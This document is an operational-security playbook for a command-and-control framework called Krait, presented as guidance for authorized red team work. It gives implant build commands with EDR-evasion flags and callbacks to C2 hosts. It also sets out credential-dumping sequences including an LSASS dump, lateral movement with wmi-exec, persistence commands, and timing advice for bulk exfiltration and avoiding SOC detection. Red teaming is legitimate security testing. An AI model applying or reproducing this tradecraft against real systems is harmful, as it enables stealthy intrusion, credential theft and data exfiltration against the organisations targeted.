OPSEC Playbook

Operational security guidelines for using Krait in authorized red team engagements.

Build Profiles by Engagement Type

External Pentest (Internet-Facing Target)

krait> build windows -s <REDIRECTOR_DOMAIN> -p 443 --external-port 443 \
    -i 60 -j 30 --all-evasion --profile onedrive

• Use a domain, not an IP — bare IP in DNS/SNI is suspicious
• Long interval (60s+) with high jitter (30%) — low and slow
• Traffic profile matching the target’s SaaS stack (if they use Microsoft, use onedrive or teams)
• All templates are MSVC-compiled — they match native Windows PE characteristics
• Always use a redirector with a decoy site

Internal Assessment (On-Premise, EDR Present)

krait> build windows -s <C2_IP> -p 8443 \
    -i 30 -j 20 --all-evasion --loadlib-proxy \
    --module-stomp --cover svchost

• Direct connection acceptable if you’re already inside the network
• Shorter interval (30s) for faster iteration
• --loadlib-proxy for execute-assembly stealth
• --module-stomp — loader PE lives in file-backed DLL memory, not private RWX
• svchost cover — blends in with dozens of real svchost.exe processes

Assumed Breach (Already Have Access)

krait> build windows -s <C2_IP> -p 8443 \
    -i 10 -j 10 --hwbp-bypass

• Fast interval for rapid enumeration
• Minimal evasion flags (you’re already in, focus on speed)
• No traffic profile needed for internal lateral movement

Stealth (Long-Term Access, Advanced SOC)

krait> build windows -s <REDIRECTOR_DOMAIN> -p 443 --external-port 443 \
    -i 300 -j 50 --all-evasion --loadlib-proxy \
    --module-stomp --context-hijack --section-map --delayed-suspend \
    --profile teams --cover svchost

• 5-minute interval with 50% jitter (2.5–7.5 min between callbacks)
• All evasion flags plus advanced migration techniques
• Teams profile (ubiquitous in enterprise)

Linux Pivot

krait> build linux -s <C2_IP> -p 8443 \
    -i 30 -j 20 -m kworker -c systemd-resolved --profile slack

• Process mask (kworker) hides the agent in ps output
• Binary cover (systemd-resolved) replaces the on-disk binary name
• Same traffic profiles as Windows

Redirector Best Practices

1. Use a CDN or cloud provider — AWS, Azure, or Cloudflare. Domain categorization matters more than IP reputation.
2. Category match — If using the teams profile, your domain should be categorized as “Business” or “Cloud Services”, not “Uncategorized”.
3. Decoy site — Always configure a decoy. A bare nginx 403 page is suspicious. Redirect to the real service you’re mimicking.
4. Geo-blocking — If the target is US-only, block non-US source IPs at the redirector. Reduces noise and potential burn from sandboxes.
5. Separate redirectors per transport — Don’t mix HTTPS and DNS on the same host.
6. Burn and rebuild — If a redirector is flagged, spin up a new one with a new IP and domain. Don’t reuse.

Artifact Cleanup

On the Target

krait [agent]> motw-remove C:\path\to\delivered.exe
krait [agent]> rm C:\path\to\delivered.exe
krait [agent]> rm C:\Windows\Temp\debug.dmp          # if nanodump was used

On the C2

• Event logs contain operator commands, agent IDs, and timestamps
• Task results may contain credentials or sensitive data
• Clear or archive these after the engagement

Persistence Removal

krait [agent]> persist-comhijack remove
krait [agent]> persist-schtask remove <task_name>
krait [agent]> persist-wmi remove <name>
krait [agent]> persist-registry <method> remove

Always remove persistence before the engagement ends. Document what was installed and where.

What NOT to Do

1. Don’t use default pipe names — msagent_default is fine for labs. Use random names for engagements.
2. Don’t run from C:\Users\Public — It’s the first place defenders look. Use C:\ProgramData or app directories.
3. Don’t use the same implant build across multiple targets — Each build has a unique hash seed and XOR key (randomized per build), but rebuild for each target.
4. Don’t run hashdump/nanodump during business hours — LSASS access triggers high-severity alerts on every EDR.
5. Don’t migrate to lsass.exe or csrss.exe — Protected processes. The migration will fail and may trigger alerts.
6. Don’t chain credential-dumping commands — Run them individually with time between. A burst of privilege escalation + credential access in one poll cycle is a high-confidence indicator.
7. Don’t leave SOCKS proxies running indefinitely — Start, use, stop. Long-running tunnels increase detection risk.
8. Don’t use cmd or powershell when a BOF exists — BOFs execute in-process. cmd spawns cmd.exe, which is visible and logged.

Operational Patterns

Initial Enumeration (First 5 Minutes)

whoami
hostname
sysinfo
ps
ipconfig
enum-firewall
defender-config
sysmon-detect
detect-hooks

Run these before anything else. Know your environment, especially what security products are present and what hooks are installed.

Situational Awareness

# Check for EDR hooks before running evasion-sensitive operations
detect-hooks

# Check for Sysmon before touching the filesystem
sysmon-detect

# Check Defender exclusions — might find a safe directory
defender-config

Credential Access Sequence

# 1. Escalate if needed
getsystem

# 2. Check what's available without touching LSASS
enum-creds
wifi-passwords
psh-history
autologon
cred-files

# 3. Only if needed — LSASS dump (high risk)
nanodump

# 4. Clean up
rev2self

Lateral Movement Sequence

# 1. Enumerate targets
netview
netsession-sweep
ldapsearch "(objectClass=computer)" cn

# 2. Test connectivity
probe 10.0.0.5 445
probe 10.0.0.5 5985

# 3. Move
wmi-exec 10.0.0.5 "C:\path\to\implant.exe"

# 4. Link the new agent
link 10.0.0.5 krait_pipe

Transport OPSEC

Transport	OPSEC Risk	Mitigation
HTTPS	Low (with profile)	Use traffic profiles + redirector + CDN
HTTPS	Medium (without profile)	Default URIs (/api/*) may be flagged
SMB	Low	Choose non-obvious pipe names
TCP	Medium	Raw TCP on unusual ports stands out
DNS	Medium-High	High query volume triggers anomaly detection

Timing

• Business hours: Low-frequency polling (60s+), no credential dumping, no lateral movement
• Off-hours: Higher frequency OK, run intensive operations (hashdump, execute-assembly)
• Weekends: Best window for bulk data exfiltration and lateral movement
• After detection: Immediately go silent (increase interval to 300s+), assess what was caught, pivot to backup access